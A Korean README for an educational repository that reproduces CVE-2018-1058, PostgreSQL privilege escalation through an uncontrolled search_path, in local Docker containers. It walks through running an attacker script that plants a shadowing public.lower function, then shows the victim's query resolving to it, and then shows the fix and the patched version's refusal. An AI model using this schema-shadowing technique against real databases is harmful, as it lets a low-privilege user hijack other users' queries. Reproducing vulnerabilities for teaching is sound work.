
이 저장소에는 다음에 대한 최종 보고서와 재현 산출물이 포함되어 있습니다:
CVE-2018-1058: 통제되지 않은 검색 경로를 통한 PostgreSQL 권한 상승
목표는 안전한 로컬 Docker 환경을 사용하여 CVE-2018-1058의 배후에 있는 검색 경로 신뢰 실패를 시연하는 것입니다.
이 데모는 정확한 역사적 pg_dump 실행 경로를 재현하지 않습니다. 대신 PostgreSQL 지침에 설명된 동일한 근본 원인을 재현합니다: 공격자가 쓰기 가능한 스키마에 유사 객체가 존재하고, 다른 세션이 한정되지 않은 이름을 해당 객체로 해석합니다.
.
├── report.pdf
├── docker-compose.yml
├── README.md
└── scripts/
├── init.sql
├── init_safe.sql
├── exploit.sql
├── victim_query.sql
├── verify_qualify.sql
└── fix.sql
최종 보고서는 report.pdf입니다. 아래 예상 출력에 해당하는 서면 분석과 스크린샷이 포함되어 있습니다.
Dockerfile은 필요하지 않습니다. 프로젝트는 공식 postgres 이미지를 사용합니다.
스크린샷은 report.pdf에 직접 포함되어 있으므로 별도의 이미지 파일로 제공되지 않습니다.
설치 항목:
psql 클라이언트(선택 사항이지만 권장)데모는 두 개의 PostgreSQL 컨테이너를 사용합니다:
포트 15432와 15433이 비어 있는지 확인하세요.
예상 실행 순서:
attacker로 exploit.sql을 실행합니다.victim으로 victim_query.sql을 실행하고 CVE-2018-1058 DEMO: 접두사를 확인합니다.victim으로 verify_qualify.sql을 실행하고 정상적인 소문자 출력을 확인합니다.postgres로 fix.sql을 실행합니다.victim_query.sql을 다시 실행하고 정상적인 소문자 출력을 확인합니다.15433에서 exploit.sql을 다시 실행하고 permission denied for schema public을 확인합니다.docker compose up -d pg_vulnerable
docker compose ps
예상 결과: pg_vulnerable 서비스가 실행 중이고 포트 15432에 매핑되어 있어야 합니다.
PostgreSQL 버전 확인:
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "SELECT version();"
예상 결과: PostgreSQL 10.2.
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "\du"
예상 역할:
postgresattackervictimattacker는 PostgreSQL 슈퍼유저가 아닙니다.
공격자 스크립트 실행:
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql
예상 출력:
CREATE TABLE
GRANT
GRANT
CREATE FUNCTION
이 스크립트는 다음을 생성합니다:
public.exploit_log 테이블;public.lower(varchar) 함수.PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql
예상 출력:
CVE-2018-1058 DEMO: Alice Demo
CVE-2018-1058 DEMO: Bob Demo
이는 victim의 일반 쿼리가 lower(...)를 공격자가 제어하는 함수로 해석했음을 보여줍니다.
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-c "TABLE public.exploit_log;"
예상 결과: public.exploit_log에 최소 두 개의 행이 있어야 하며, victim 쿼리가 처리한 각 행마다 하나씩 존재합니다.
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/verify_qualify.sql
예상 출력:
alice demo
bob demo
이것은 pg_catalog.lower(...)가 PostgreSQL이 내장 함수를 사용하도록 강제하기 때문에 작동합니다.
PGPASSWORD='postgres' \
psql -h 127.0.0.1 -p 15432 -U postgres -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/fix.sql
예상 출력에는 다음이 포함될 수 있습니다:
DROP FUNCTION
DROP TABLE
REVOKE
REVOKE
그런 다음 victim 쿼리를 다시 실행합니다:
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql
예상 출력:
alice demo
bob demo
공격자가 제어하는 함수가 제거되었으며 쿼리는 정상적인 소문자 문자열을 반환합니다.
docker compose up -d pg_fixed
docker compose ps
버전 확인:
docker exec -it cve1058_pg_fixed psql -U postgres -d demo_cve1058 -c "SELECT version();"
예상 결과: PostgreSQL 10.3.
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15433 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql
예상 출력:
ERROR: permission denied for schema public
즉, 공격자는 public에 가짜 함수를 생성할 수 없으므로 이름 해석 전에 공격 체인이 중단됩니다.
컨테이너를 중지하려면:
docker compose down
볼륨을 제거하고 프로젝트를 완전히 초기화하려면:
docker compose down -v
이 데모는 의도적으로 무해합니다. 데이터를 훔치거나, 파일에 접근하거나, 운영 체제 명령을 실행하지 않습니다.
익스플로잇은 눈에 보이는 문자열 접두사와 로그 테이블을 사용하여 PostgreSQL이 한정되지 않은 함수 이름을 공격자가 제어하는 객체로 해석했음을 증명합니다.
공식 CVE는 pg_dump 및 기타 클라이언트 애플리케이션에 관한 것입니다. 이 저장소는 안전하고 재현 가능한 교육 환경에서 동일한 검색 경로 신뢰 실패를 시연합니다.
포트가 이미 사용 중인 경우 로컬 PostgreSQL 서비스를 중지하거나 docker-compose.yml에서 호스트 포트를 변경하세요.
출력이 예상 결과와 일치하지 않으면 다음으로 환경을 초기화하세요:
docker compose down -v
docker compose up -d pg_vulnerable
psql이 로컬에 설치되지 않은 경우 버전 및 역할 확인 명령은 컨테이너 내부에서 docker exec로 실행할 수 있습니다.
pg_vulnerable에서 익스플로잇이 실패하면 데이터베이스가 초기화되었는지, 그리고 scripts/exploit.sql이 scripts/fix.sql보다 먼저 실행되는지 확인하세요.
| 서비스 | 버전 | 컨테이너 이름 | 호스트 포트 | 용도 |
|---|
pg_vulnerable | PostgreSQL 10.2 | cve1058_pg_vulnerable | 15432 | 취약한 데모 |
pg_fixed | PostgreSQL 10.3 | cve1058_pg_fixed | 15433 | 패치/강화 비교 |